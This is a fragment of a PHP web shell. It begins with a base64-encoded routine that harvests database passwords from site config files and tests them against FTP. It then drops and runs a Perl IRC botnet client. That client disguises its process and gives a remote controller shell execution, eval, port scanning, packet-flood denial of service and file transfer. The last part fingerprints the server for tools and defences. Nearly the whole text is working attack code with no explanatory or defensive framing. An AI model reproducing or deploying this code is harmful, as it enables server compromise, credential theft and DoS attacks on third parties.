Nlcm5hbWUpIHsgDQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7IA0KICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgDQogICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsgDQogICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgeyANCiAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOyANCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkcikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgcmVhZF9kaXIoJGRyLCR1c2VybmFtZSk7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yICgkZmlsZT09J3dwLWNvbmZpZy5waHAnKSBvciAoJGZpbGU9PSd2YXIucGhwJykgb3IgKCRmaWxlPT0nY29uZmlndXJlLnBocCcpIG9yICgkZmlsZT09J2RiLnBocCcpIG9yICgkZmlsZT09J2RiX2Nvbm5lY3QucGhwJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7IA0KICAgQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgDQogICB3aGlsZSghZmVvZigkY29uZmlnKSkgeyANCiAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsgDQogICAgICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7IA0KICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgcmV0dXJuICRwYXNzOyANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGZ0cF9jaGVjaygkbG9naW4sJHBhc3MpIHsgDQogICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOyANCiAgICBpZiAoJGZ0cCkgeyANCiAgICAgICBAJHJlcz1mdHBfbG9naW4oJGZ0cCwkbG9naW4sJHBhc3MpOyANCiAgICAgICBpZiAoJHJlcykgeyANCiAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsgDQogICAgICAgfSANCiAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOyANCiAgICB9IA0KfSANCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsgDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsgDQo/Pg="; + + +if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname'])) +{ +$ircadmin=$_POST['ircadmin']; +$ircserver=$_POST['ircserver']; +$ircchan=$_POST['ircchanal']; +$irclabel=$_POST['ircname']; +echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>"; +echo "<body bgcolor=\"black\" text=\"green\">"; +echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>"; +echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>"; +####################################################### +######################IRC Trojan########################## +$file=" +################ CONFIGURACAO ################################################################# +my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps # +#----------------------------------------------################################################ +my \$linas_max='48'; # Evita o flood :) depois de X linhas # +#----------------------------------------------################################################ +my \$sleep='4'; # ele dorme X segundos # +##################### IRC ##################################################################### +my @adms=(\"$ircadmin\"); # Nick do administrador # +#----------------------------------------------################################################ +my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") # +#----------------------------------------------################################################ +my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer # + # aparecer com numero radonamico no final # +#----------------------------------------------################################################ +my \$ircname = 'Linux'; # User ID # +#----------------------------------------------################################################ +chop (my \$realname = `uname -a`); # Full Name # +#----------------------------------------------################################################ +\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado # + # caso n?o seja especificado no argumento # +#----------------------------------------------################################################ +my \$porta='6667'; # Porta do servidor de irc # +################ ACESSO A SHELL ############################################################### +my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell # +############################################################################################### +my \$VERSAO = '0.2'; +\$SIG{'INT'} = 'IGNORE'; +\$SIG{'HUP'} = 'IGNORE'; +\$SIG{'TERM'} = 'IGNORE'; +\$SIG{'CHLD'} = 'IGNORE'; +\$SIG{'PS'} = 'IGNORE'; +\$SIG{'STOP'} = 'IGNORE'; +use IO::Socket; +use Socket; +use IO::Select; +chdir(\"/\"); +\$servidor=\"\$ARGV[0]\" if \$ARGV[0]; +$0=\"\$processo\".\"\0\"x16;; +my \$pid=fork; +exit if \$pid; +die \"Problema com o fork: $!\" unless defined(\$pid); +my \$dcc_sel = new IO::Select->new(); +############################# +# B0tchZ na veia ehehe :P # +############################# + +\$sel_cliente = IO::Select->new(); +sub sendraw { + if ($#_ == '1') { + my \$socket = \$_[0]; + print \$socket \"\$_[1]\\n\"; + } else { + print \$IRC_cur_socket \"\$_[0]\\n\"; + } +} +################################# +sub conectar { + my \$meunick = \$_[0]; + my \$servidor_con = \$_[1]; + my \$porta_con = \$_[2]; + + my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1); + if (defined(\$IRC_socket)) { + \$IRC_cur_socket = \$IRC_socket; + + \$IRC_socket->autoflush(1); + \$sel_cliente->add(\$IRC_socket); + + \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\"; + \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\"; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost; + nick(\"\$meunick\"); + sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\"); + sleep 1; + } +} ##################### + +my \$line_temp; +while( 1 ) { + while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); } + delete(\$irc_servers{''}) if (defined(\$irc_servers{''})); + &DCC::connections; + my @ready = \$sel_cliente->can_read(0); + next unless(@ready); + foreach \$fh (@ready) { + \$IRC_cur_socket = \$fh; + \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'}; + \$nread = sysread(\$fh, \$msg, 4096); + if (\$nread == 0) { + \$sel_cliente->remove(\$fh); + \$fh->close; + delete(\$irc_servers{\$fh}); + } + @lines = split (/\\n/, \$msg); + + for(my \$c=0; \$c<= $#lines; \$c++) { + \$line = \$lines[\$c]; + \$line=\$line_temp.\$line if (\$line_temp); + \$line_temp=''; + \$line =~ s/\\r$//; + unless (\$c == $#lines) { + parse(\"\$line\"); + } else { + if ($#lines == 0) { + parse(\"\$line\"); + } elsif (\$lines[\$c] =~ /\\r$/) { + parse(\"\$line\"); + } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { + parse(\"\$line\"); + } else { + \$line_temp = \$line; + } + } + } + } +} + +######################### + + +sub parse { + my \$servarg = shift; + if (\$servarg =~ /^PING \:(.*)/) { + sendraw(\"PONG :$1\"); + } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { + my \$pn=$1; my \$onde = $4; my \$args = $5; + if (\$args =~ /^\\001VERSION\\001$/) { + notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\"); + } + if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) { + if (\$onde eq \"\$meunick\"){ + shell(\"\$pn\", \"\$args\"); + } + if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) { + my \$natrix = $1; + my \$arg = $2; + if (\$arg =~ /^\!(.*)/) { + ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/); + } elsif (\$arg =~ /^\@(.*)/) { + \$ondep = \$onde; + \$ondep = \$pn if \$onde eq \$meunick; + bfunc(\"\$ondep\",\"$1\"); + } else { + shell(\"\$onde\", \"\$arg\"); + } + } + } + } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { + if (lc($1) eq lc(\$meunick)) { + \$meunick=$4; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + } + } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) { + nick(\"\$meunick\".int rand(9999)); + } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { + \$meunick = $2; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\"; + foreach my \$canal (@canais) { + sendraw(\"JOIN \$canal\"); + } + } +} +########################## + +sub bfunc { + my \$printl = \$_[0]; + my \$funcarg = \$_[1]; + if (my \$pid = fork) { + waitpid(\$pid, 0); + } else { + if (fork) { + exit; + } else { + if (\$funcarg =~ /^portscan (.*)/) { + my \$hostip=\"$1\"; + my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\"); + my (@aberta, %porta_banner); + foreach my \$porta (@portas) { + my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4); + if (\$scansock) { + push (@aberta, \$porta); + \$scansock->close; + } + } + + if (@aberta) { + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\"); + } else { + sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\"); + } + } + if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { + my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\"); + \$dtime = 1 if \$dtime == 0; + my %bytes; + \$bytes{igmp} = $2 * \$pacotes{igmp}; + \$bytes{icmp} = $2 * \$pacotes{icmp}; + \$bytes{o} = $2 * \$pacotes{o}; + \$bytes{udp} = $2 * \$pacotes{udp}; + \$bytes{tcp} = $2 * \$pacotes{tcp}; + + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\"); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\"); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o})); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o})); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\"); + + } + exit; + } + } +} +########################## + + +sub ircase { + my (\$kem, \$printl, \$case) = @_; + + + if (\$case =~ /^join (.*)/) { + j(\"$1\"); + } + if (\$case =~ /^part (.*)/) { + p(\"$1\"); + } + if (\$case =~ /^rejoin\s+(.*)/) { + my \$chan = $1; + if (\$chan =~ /^(\d+) (.*)/) { + for (my \$ca = 1; \$ca <= $1; \$ca++ ) { + p(\"$2\"); + j(\"$2\"); + } + } else { + p(\"\$chan\"); + j(\"\$chan\"); + } + } + if (\$case =~ /^op/) { + op(\"\$printl\", \"\$kem\") if \$case eq \"op\"; + my \$oarg = substr(\$case, 3); + op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^deop/) { + deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\"; + my \$oarg = substr(\$case, 5); + deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^voice/) { + voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\"; + \$oarg = substr(\$case, 6); + voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^devoice/) { + devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\"; + \$oarg = substr(\$case, 8); + devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^msg\s+(\S+) (.*)/) { + msg(\"$1\", \"$2\"); + } + if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { + for (my \$cf = 1; \$cf <= $1; \$cf++) { + msg(\"$2\", \"$3\"); + } + } + if (\$case =~ /^ctcp\s+(\S+) (.*)/) { + ctcp(\"$1\", \"$2\"); + } + if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { + for (my \$cf = 1; \$cf <= $1; \$cf++) { + ctcp(\"$2\", \"$3\"); + } + } + if (\$case =~ /^invite\s+(\S+) (.*)/) { + invite(\"$1\", \"$2\"); + } + if (\$case =~ /^nick (.*)/) { + nick(\"$1\"); + } + if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) { + conectar(\"$2\", \"$1\", 6667); + } + if (\$case =~ /^send\s+(\S+)\s+(\S+)/) { + DCC::SEND(\"$1\", \"$2\"); + } + if (\$case =~ /^raw (.*)/) { + sendraw(\"$1\"); + } + if (\$case =~ /^eval (.*)/) { + eval \"$1\"; + } +} +########################## + +sub shell { + return unless \$secv; + my \$printl=\$_[0]; + my \$comando=\$_[1]; + if (\$comando =~ /cd (.*)/) { + chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \"); + return; + } + elsif (\$pid = fork) { + waitpid(\$pid, 0); + } else { + if (fork) { + exit; + } else { + my @resp=`\$comando 2>&1 3>&1`; + my \$c=0; + foreach my \$linha (@resp) { + \$c++; + chop \$linha; + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\"); + if (\$c == \"\$linas_max\") { + \$c=0; + sleep \$sleep; + } + } + exit; + } + } +} + +#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki +sub attacker { + my \$iaddr = inet_aton(\$_[0]); + my \$msg = 'B' x \$_[1]; + my \$ftime = \$_[2]; + my \$cp = 0; + my (%pacotes); + \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0; + + socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++; + socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++; + socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++; + socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++; + return(undef) if \$cp == 4; + my \$itime = time; + my (\$cur_time); + while ( 1 ) { + for (my \$porta = 1; \$porta <= 65535; \$porta++) { + \$cur_time = time - \$itime; + last if \$cur_time >= \$ftime; + send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++; + send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++; + send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++; + send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++; + + # DoS ?? :P + for (my \$pc = 3; \$pc <= 255;\$pc++) { + next if \$pc == 6; + \$cur_time = time - \$itime; + last if \$cur_time >= \$ftime; + socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next; + send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;; + } + } + last if \$cur_time >= \$ftime; + } + return(\$cur_time, %pacotes); +} + +############# +# ALIASES # +############# + +sub action { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\"); +} + +sub ctcp { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\"); +} +sub msg { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\$_[1]\"); +} + +sub notice { + return unless $#_ == 1; + sendraw(\"NOTICE \$_[0] :\$_[1]\"); +} + +sub op { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +o \$_[1]\"); +} +sub deop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -o \$_[1]\"); +} +sub hop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +h \$_[1]\"); +} +sub dehop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +h \$_[1]\"); +} +sub voice { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +v \$_[1]\"); +} +sub devoice { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -v \$_[1]\"); +} +sub ban { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +b \$_[1]\"); +} +sub unban { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -b \$_[1]\"); +} +sub kick { + return unless $#_ == 1; + sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\"); +} + +sub modo { + return unless $#_ == 0; + sendraw(\"MODE \$_[0] \$_[1]\"); +} +sub mode { modo(@_); } + +sub j { &join(@_); } +sub join { + return unless $#_ == 0; + sendraw(\"JOIN \$_[0]\"); +} +sub p { part(@_); } +sub part {sendraw(\"PART \$_[0]\");} + +sub nick { + return unless $#_ == 0; + sendraw(\"NICK \$_[0]\"); +} + +sub invite { + return unless $#_ == 1; + sendraw(\"INVITE \$_[1] \$_[0]\"); +} +sub topico { + return unless $#_ == 1; + sendraw(\"TOPIC \$_[0] \$_[1]\"); +} +sub topic { topico(@_); } + +sub whois { + return unless $#_ == 0; + sendraw(\"WHOIS \$_[0]\"); +} +sub who { + return unless $#_ == 0; + sendraw(\"WHO \$_[0]\"); +} +sub names { + return unless $#_ == 0; + sendraw(\"NAMES \$_[0]\"); +} +sub away { + sendraw(\"AWAY \$_[0]\"); +} +sub back { away(); } +sub quit { + sendraw(\"QUIT :\$_[0]\"); +} + +# DCC +######################### + +package DCC; + +sub connections { + my @ready = \$dcc_sel->can_read(1); +# return unless (@ready); + foreach my \$fh (@ready) { + my \$dcctipo = \$DCC{\$fh}{tipo}; + my \$arquivo = \$DCC{\$fh}{arquivo}; + my \$bytes = \$DCC{\$fh}{bytes}; + my \$cur_byte = \$DCC{\$fh}{curbyte}; + my \$nick = \$DCC{\$fh}{nick}; + + + my \$msg; + my \$nread = sysread(\$fh, \$msg, 10240); + + if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) { + \$DCC{\$fh}{status} = \"Cancelado\"; + \$DCC{\$fh}{ftime} = time; + \$dcc_sel->remove(\$fh); + \$fh->close; + next; + } + + if (\$dcctipo eq \"get\") { + \$DCC{\$fh}{curbyte} += length(\$msg); + + my \$cur_byte = \$DCC{\$fh}{curbyte}; + + open(FILE, \">> \$arquivo\"); + print FILE \"\$msg\" if (\$cur_byte <= \$bytes); + close(FILE); + + my \$packbyte = pack(\"N\", \$cur_byte); + print \$fh \"\$packbyte\"; + + + if (\$bytes == \$cur_byte) { + \$dcc_sel->remove(\$fh); + \$fh->close; + \$DCC{\$fh}{status} = \"Recebido\"; + \$DCC{\$fh}{ftime} = time; + next; + } + } elsif (\$dcctipo eq \"send\") { + my \$send = \$fh->accept; + \$send->autoflush(1); + \$dcc_sel->add(\$send); + \$dcc_sel->remove(\$fh); + \$DCC{\$send}{tipo} = 'sendcon'; + \$DCC{\$send}{itime} = time; + \$DCC{\$send}{nick} = \$nick; + \$DCC{\$send}{bytes} = \$bytes; + \$DCC{\$send}{curbyte} = 0; + \$DCC{\$send}{arquivo} = \$arquivo; + \$DCC{\$send}{ip} = \$send->peerhost; + \$DCC{\$send}{porta} = \$send->peerport; + \$DCC{\$send}{status} = \"Enviando\"; + #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon + open(FILE, \"< \$arquivo\"); + my \$fbytes; + read(FILE, \$fbytes, 1024); + print \$send \"\$fbytes\"; + close FILE; +# delete(\$DCC{\$fh}); +} elsif (\$dcctipo eq 'sendcon') { + my \$bytes_sended = unpack(\"N\", \$msg); + \$DCC{\$fh}{curbyte} = \$bytes_sended; + if (\$bytes_sended == \$bytes) { + \$fh->close; + \$dcc_sel->remove(\$fh); + \$DCC{\$fh}{status} = \"Enviado\"; + \$DCC{\$fh}{ftime} = time; + next; + } + open(SENDFILE, \"< \$arquivo\"); + seek(SENDFILE, \$bytes_sended, 0); + my \$send_bytes; + read(SENDFILE, \$send_bytes, 1024); + print \$fh \"\$send_bytes\"; + close(SENDFILE); + } + } +} +########################## + +sub SEND { + my (\$nick, \$arquivo) = @_; + unless (-r \"\$arquivo\") { + return(0); + } + + my \$dccark = \$arquivo; + \$dccark =~ s/[.*\/](\S+)/$1/; + + my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'}; + my \$longip = unpack(\"N\",inet_aton(\$meuip)); + + my @filestat = stat(\$arquivo); + my \$size_total=\$filestat[7]; + if (\$size_total == 0) { + return(0); + } + + my (\$porta, \$sendsock); + do { + \$porta = int rand(64511); + \$porta += 1024; + \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock); + } until \$sendsock; + + \$DCC{\$sendsock}{tipo} = 'send'; + \$DCC{\$sendsock}{nick} = \$nick; + \$DCC{\$sendsock}{bytes} = \$size_total; + \$DCC{\$sendsock}{arquivo} = \$arquivo; + + &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\"); + +} + +sub GET { + my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_; + return(0) if (-e \"\$arquivo\"); + if (open(FILE, \"> \$arquivo\")) { + close FILE; + } else { + return(0); + } + + my \$dccip=fixaddr(\$dcclongip); + return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1); + my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0); + \$dccsock->autoflush(1); + \$dcc_sel->add(\$dccsock); + \$DCC{\$dccsock}{tipo} = 'get'; + \$DCC{\$dccsock}{itime} = time; + \$DCC{\$dccsock}{nick} = \$nick; + \$DCC{\$dccsock}{bytes} = \$bytes; + \$DCC{\$dccsock}{curbyte} = 0; + \$DCC{\$dccsock}{arquivo} = \$arquivo; + \$DCC{\$dccsock}{ip} = \$dccip; + \$DCC{\$dccsock}{porta} = \$dccporta; + \$DCC{\$dccsock}{status} = \"Recebendo\"; +} +############################ +# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas +sub Status { + my \$socket = shift; + my \$sock_tipo = \$DCC{\$socket}{tipo}; + unless (lc(\$sock_tipo) eq \"chat\") { + my \$nick = \$DCC{\$socket}{nick}; + my \$arquivo = \$DCC{\$socket}{arquivo}; + my \$itime = \$DCC{\$socket}{itime}; + my \$ftime = time; + my \$status = \$DCC{\$socket}{status}; + \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime}); + + my \$d_time = \$ftime-\$itime; + + my \$cur_byte = \$DCC{\$socket}{curbyte}; + my \$bytes_total = \$DCC{\$socket}{bytes}; + + my \$rate = 0; + \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0; + my \$porcen = (\$cur_byte*100)/\$bytes_total; + + my (\$r_duv, \$p_duv); + if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) { + \$r_duv = $3; \$r_duv++ if $4 >= 5; + \$rate = \"$1\.$2\".\"\$r_duv\"; + } + if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { + \$p_duv = $3; \$p_duv++ if $4 >= 5; + \$porcen = \"$1\.$2\".\"\$p_duv\"; + } + return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\"); + } + + return(0); +} + +# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) +sub fixaddr { + my (\$address) = @_; + + chomp \$address; # just in case, sigh. + if (\$address =~ /^\d+$/) { + return inet_ntoa(pack \"N\", \$address); + } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { + return \$address; + } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation! + return inet_ntoa(((gethostbyname(\$address))[4])[0]); + } else { + return; + } +} +############################ +"; +$bot = "/tmp/ircs.pl"; +$open = fopen($bot,"w"); +fputs($open,$file); +fclose($open); +$cmd="perl $bot"; +$cmd2="rm $bot"; +system($cmd); +system($cmd2); +$_POST['cmd']="echo \"Now script try connect to ircserver ...\""; + +} + + +if(!isset($_COOKIE[$lang[$language.'_text137']])) { + $ust_u=''; + if($unix && !$safe_mode){ + foreach ($userful as $item) { + if(which($item)){$ust_u.=$item;} + } + } + if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";} + if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";} + if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";} + if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";} + if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";} + if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";} + if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";} + if(substr($ust_u,0,1)==",") {$ust_u[0]="";} + + $ust_u = trim($ust_u); +}else { + $ust_u = trim($_COOKIE[$lang[$language.'_text137']]); +} + +if(!isset($_COOKIE[$lang[$language.'_text138']])) { + $ust_d=''; + if($unix && !$safe_mode){ + foreach ($danger as $item) { + if(which($item)){$ust_d.=$item;} + } + } + if(!$safe_mode){ + foreach ($danger as $item) { + if(ps($item)){$ust_d.=$item;} + } + } + if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";} + if(substr($ust_d,0,1)==",") {$ust_d[0]="";} + + $ust_d = trim($ust_d); +}else { + $ust_d = trim($_COOKIE[$lang[$language.'_text138']]); +} + +if(!isset($_COOKIE[$lang[$language.'_text142']])) { + + $select_downloaders='<select size="1" name=with>'; + if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";} + if($unix && !$safe_mode){ + foreach ($downloaders as $item) { + if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";} + } + } + $select_downloaders .= '</select>'; + if(substr($downloader,0,1)==",") {$downloader[0]="";} + + $downloader=trim($downloader); + +} + + +echo $head; +echo '</head>'; + +echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td bgcolor=#000000 width=120><font face=Comic Sans MS size=1>'.ws(2).'<DIV dir=ltr align=center><p><font style="font-weight: 500" face="Webdings" color="#800000" size="7">!</font></p>'.ws(2).'<DIV dir=ltr align=center><SPAN +style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px"> +<SPAN +style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'. + +'</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]"; 